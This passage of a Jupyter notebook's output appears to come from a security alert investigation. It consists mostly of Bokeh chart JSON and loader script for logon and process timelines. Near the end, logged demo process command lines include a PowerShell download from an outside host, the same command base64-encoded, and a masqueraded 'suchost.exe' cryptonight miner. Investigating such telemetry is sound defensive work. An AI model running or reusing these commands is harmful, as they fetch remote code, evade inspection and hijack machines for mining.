d\":\"1985\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1996\",\"type\":\"DatetimeTicker\"}},\"id\":\"1999\",\"type\":\"Grid\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"2026\",\"type\":\"Line\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2034\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2035\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2036\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2037\",\"type\":\"DaysTicker\"},{\"id\":\"2038\",\"type\":\"DaysTicker\"},{\"id\":\"2039\",\"type\":\"DaysTicker\"},{\"id\":\"2040\",\"type\":\"DaysTicker\"},{\"id\":\"2041\",\"type\":\"MonthsTicker\"},{\"id\":\"2042\",\"type\":\"MonthsTicker\"},{\"id\":\"2043\",\"type\":\"MonthsTicker\"},{\"id\":\"2044\",\"type\":\"MonthsTicker\"},{\"id\":\"2045\",\"type\":\"YearsTicker\"}]},\"id\":\"1996\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2038\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1993\",\"type\":\"LinearScale\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1983\",\"type\":\"HoverTool\"},{\"id\":\"2005\",\"type\":\"PanTool\"},{\"id\":\"2006\",\"type\":\"WheelZoomTool\"},{\"id\":\"2007\",\"type\":\"BoxZoomTool\"},{\"id\":\"2008\",\"type\":\"ResetTool\"}]},\"id\":\"2009\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"2005\",\"type\":\"PanTool\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2039\",\"type\":\"DaysTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2006\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2040\",\"type\":\"DaysTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"2012\",\"type\":\"BoxAnnotation\"}},\"id\":\"2007\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2041\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"2008\",\"type\":\"ResetTool\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2042\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2043\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2012\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"2017\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"1985\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1996\",\"type\":\"DatetimeTicker\"}},\"id\":\"1995\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"2025\",\"type\":\"Line\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2044\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2020\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2045\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2021\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2046\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"callback\":null},\"id\":\"1987\",\"type\":\"DataRange1d\"},{\"attributes\":{\"data_source\":{\"id\":\"1982\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"2020\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2021\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"2023\",\"type\":\"CDSView\"}},\"id\":\"2022\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1991\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"2047\",\"type\":\"Selection\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"Account\",\"@Account\"],[\"LogonType\",\"@LogonType\"]]},\"id\":\"1983\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"2048\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data_source\":{\"id\":\"2024\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"2025\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2026\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"2028\",\"type\":\"CDSView\"}},\"id\":\"2027\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2017\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Clustered Host Logons\"},\"id\":\"1984\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2049\",\"type\":\"Selection\"},{\"attributes\":{\"source\":{\"id\":\"2024\",\"type\":\"ColumnDataSource\"}},\"id\":\"2028\",\"type\":\"CDSView\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"1985\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1550095422000.0,\"y\":0,\"y_offset\":10},\"id\":\"2029\",\"type\":\"Label\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2034\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"2032\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"callback\":null},\"id\":\"1989\",\"type\":\"DataRange1d\"}],\"root_ids\":[\"1985\"]},\"title\":\"Bokeh Application\",\"version\":\"1.0.4\"}};\n",
       "  var render_items = [{\"docid\":\"424d8d7a-fe2e-47f3-b3d2-756d623049ff\",\"roots\":{\"1985\":\"e6fe9693-4987-4b3a-8c00-11e38b694d25\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        embed_document(root);\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "      attempts++;\n",
       "      if (attempts > 100) {\n",
       "        console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1985"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.pydata.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"2177\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"2177\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n",
       "    }\n",
       "    finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.info(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(js_urls, callback) {\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = js_urls.length;\n",
       "    for (var i = 0; i < js_urls.length; i++) {\n",
       "      var url = js_urls[i];\n",
       "      var s = document.createElement('script');\n",
       "      s.src = url;\n",
       "      s.async = false;\n",
       "      s.onreadystatechange = s.onload = function() {\n",
       "        root._bokeh_is_loading--;\n",
       "        if (root._bokeh_is_loading === 0) {\n",
       "          console.log(\"Bokeh: all BokehJS libraries loaded\");\n",
       "          run_callbacks()\n",
       "        }\n",
       "      };\n",
       "      s.onerror = function() {\n",
       "        console.warn(\"failed to load library \" + url);\n",
       "      };\n",
       "      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.getElementsByTagName(\"head\")[0].appendChild(s);\n",
       "    }\n",
       "  };var element = document.getElementById(\"2177\");\n",
       "  if (element == null) {\n",
       "    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '2177' but no matching script tag was found. \")\n",
       "    return false;\n",
       "  }\n",
       "\n",
       "  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    \n",
       "    function(Bokeh) {\n",
       "      \n",
       "    },\n",
       "    function(Bokeh) {\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if ((root.Bokeh !== undefined) || (force === true)) {\n",
       "      for (var i = 0; i < inline_js.length; i++) {\n",
       "        inline_js[i].call(root, root.Bokeh);\n",
       "      }if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"2177\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(js_urls, function() {\n",
       "      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  \n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"2177\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n    }\n    finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.info(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(js_urls, callback) {\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = js_urls.length;\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var s = document.createElement('script');\n      s.src = url;\n      s.async = false;\n      s.onreadystatechange = s.onload = function() {\n        root._bokeh_is_loading--;\n        if (root._bokeh_is_loading === 0) {\n          console.log(\"Bokeh: all BokehJS libraries loaded\");\n          run_callbacks()\n        }\n      };\n      s.onerror = function() {\n        console.warn(\"failed to load library \" + url);\n      };\n      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.getElementsByTagName(\"head\")[0].appendChild(s);\n    }\n  };var element = document.getElementById(\"2177\");\n  if (element == null) {\n    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '2177' but no matching script tag was found. \")\n    return false;\n  }\n\n  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    \n    function(Bokeh) {\n      \n    },\n    function(Bokeh) {\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n    }\n  ];\n\n  function run_inline_js() {\n    \n    if ((root.Bokeh !== undefined) || (force === true)) {\n      for (var i = 0; i < inline_js.length; i++) {\n        inline_js[i].call(root, root.Bokeh);\n      }if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"2177\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(js_urls, function() {\n      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));"
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Alert start time =  2019-02-13 22:03:42\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"f564b95d-cadc-479c-80d7-4e830a94f17a\" data-root-id=\"2181\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"758c7d65-b0a6-4a4e-b631-d9b7d8591255\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"2191\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"2196\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":200,\"plot_width\":900,\"renderers\":[{\"id\":\"2191\",\"type\":\"DatetimeAxis\"},{\"id\":\"2195\",\"type\":\"Grid\"},{\"id\":\"2196\",\"type\":\"LinearAxis\"},{\"id\":\"2200\",\"type\":\"Grid\"},{\"id\":\"2208\",\"type\":\"BoxAnnotation\"},{\"id\":\"2218\",\"type\":\"GlyphRenderer\"},{\"id\":\"2223\",\"type\":\"GlyphRenderer\"},{\"id\":\"2225\",\"type\":\"Label\"}],\"title\":{\"id\":\"2180\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"2205\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"2183\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"2187\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"2185\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"2189\",\"type\":\"LinearScale\"}},\"id\":\"2181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"source\":{\"id\":\"2220\",\"type\":\"ColumnDataSource\"}},\"id\":\"2224\",\"type\":\"CDSView\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"2181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1550095422000.0,\"y\":0,\"y_offset\":10},\"id\":\"2225\",\"type\":\"Label\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"2221\",\"type\":\"Line\"},{\"attributes\":{},\"id\":\"2228\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1550095422000.0,1550095422000.0],\"y\":[0,2]},\"selected\":{\"id\":\"2245\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"2244\",\"type\":\"UnionRenderers\"}},\"id\":\"2220\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"2181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"2197\",\"type\":\"BasicTicker\"}},\"id\":\"2200\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2197\",\"type\":\"BasicTicker\"},{\"attributes\":{\"callback\":null,\"data\":{\"CommandLine\":[\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd  /c echo Any questions about the commands executed here then please contact one of\",\"cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\powershell  -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\",\".\\\\powershell  -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdldC1Qcm9jZXNzOyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpIGh0dHA6Ly93aDQwMWsub3JnL2dldHBzIg==\",\"cmd  /c echo End Security Demo tasks\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 2\",\".\\\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 